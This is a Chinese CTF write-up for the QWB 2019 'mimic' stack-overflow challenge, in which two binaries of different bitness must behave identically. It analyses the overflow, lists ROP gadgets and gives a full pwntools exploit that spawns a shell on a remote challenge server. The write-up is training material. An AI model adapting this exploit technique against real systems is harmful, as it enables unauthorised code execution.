menu EDS
强网杯2019 拟态 STKOF
7656 浏览 | 2021-12-08 | 分类:pwn | 标签:

强网杯2019 拟态 STKOF

之前一直被这道题的拟态吓唬住,深知web的拟态有多恶心,就一直没有鼓起勇气去做这个题。
这道题在buu中没有难度,只要任意一个程序打通了就能getshell。

静态分析。

两个程序是用一段源代码分别用32位和64位编译的静态程序,反编译的伪c代码是一样的。
main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx

  puts("Welcome to QWB", argv, envp);
  puts("We give you a little challenge, try to pwn it?", argv, v3);
  vul();
  return 0;
}

vul函数

__int64 vul()
{
  __int64 v0; // rdx
  char buf[272]; // [rsp+0h] [rbp-110h] BYREF

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  j_memset_ifunc(buf, 0LL, 256LL);
  read(0, buf, 0x300uLL);
  return puts(buf, buf, v0);
}

该程序存在栈溢出有着丰富的空间去构造各种ROP,而且两个程序的溢出点是一样的。

动态分析。

在这里简单的说一下拟态防护的原理。两个能够运行一样功能,但内部构造不同的程序,接受同一段数据流,并要求两个程序的返回结果是一样的才能输出返回结果,如果不一样则报错退出。但这里很明显两个程序基地址都是不一样的,一样的ROP链在这里肯定是行不通的,所以要将两条ROP链分开执行。分开执行就要找到这两个程序在执行时不同的地方。

首先32位程序的一个地址为4字节,而64位的一个地址为8字节,我们可以通过这个原理来将两条ROP链分开,达到一条ROP链分开执行的效果。如图所示。


根据图片看出,32位的返回地址是64位的rbp内的一部分。可以通过这个将rsp/esp跳到栈不同的位置来执行不同的ROP。
先利用ROP_gadget寻找一下add rsp/esp,xx;ret的地址。

0x000000000044a699 : add rsp, 0x148 ; ret
0x0000000000414ef8 : add rsp, 0x18 ; ret
0x000000000043b749 : add rsp, 0x28 ; ret
0x0000000000461f85 : add rsp, 0x38 ; ret
0x000000000046d438 : add rsp, 0x48 ; ret
0x000000000043b979 : add rsp, 0x58 ; ret
0x000000000043b86b : add rsp, 0x68 ; ret
0x0000000000461d30 : add rsp, 0x78 ; ret
0x000000000040cd17 : add rsp, 0x80 ; ret
0x00000000004079d4 : add rsp, 0xd8 ; ret
0x0000000000400412 : add rsp, 8 ; ret
0x080a8f66 : add esp, 0x10 ; add esp, 0xc ; ret
0x0804f095 : add esp, 0x1c ; ret
0x080a69f2 : add esp, 0x20 ; ret
0x0804991a : add esp, 0x2c ; ret
0x080a8f69 : add esp, 0xc ; ret

跳往不同栈地点的地址都已经找到,找一些跨度大的地址,将不同的ROP隔开,剩下的就是简单去构造各种getshell的ROP链。exp如下。

#!/usr/bin/env python
# coding=utf-8
from pwn import *


local = 0
if local == 1:
    r=process('./pwn32')
    gdb.attach(r,"b * 0x0804892E")
elif local == 2:
    r=process('./pwn64')
    gdb.attach(r,"b * 0x400B32")
else:
    r = remote('node4.buuoj.cn',26028)
    libc = ELF('./libc-2.23.so')

elf32=ELF('./pwn32')
elf64=ELF('./pwn64')
addrspd8 = 0x4079d4
movrdxrax = 0x40e9e7
movrdirdx = 0x427913
raxrdxrbx = 0x46d236
rdi = 0x4005f6
rsi = 0x405895
bss64 = 0x006a3900
syscall = 0x4011dc

addesp1c = 0x0804f095
eax = 0x080a8af6
edxecxebx = 0x0806e9f1
moveaxedx = 0x0809ccf4
eaxedxebx = 0x08055f54
bss32 = 0x080da700
int80 = 0x080495a3

r.send(cyclic(272-4)+p32(1919)+p32(1919)+p32(0)+p64(addrspd8)+cyclic(16)+p32(eaxedxebx)+p32(bss32)+'/bin'+p32(0)+p32(moveaxedx)+p32(eaxedxebx)+p32(bss32+4)+'/sh\x00'+p32(0)+p32(moveaxedx)+p32(eax)+p32(0xb)+p32(edxecxebx)+p32(0)+p32(0)+p32(bss32)+p32(int80)+cyclic(132)+p64(raxrdxrbx)+'/bin/sh\x00'+p64(bss64)+p64(0)+p64(movrdxrax)+p64(rdi)+p64(bss64)+p64(rsi)+p64(0)+p64(raxrdxrbx)+p64(0x3b)+p64(0)+p64(0)+p64(syscall))


r.interactive()

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!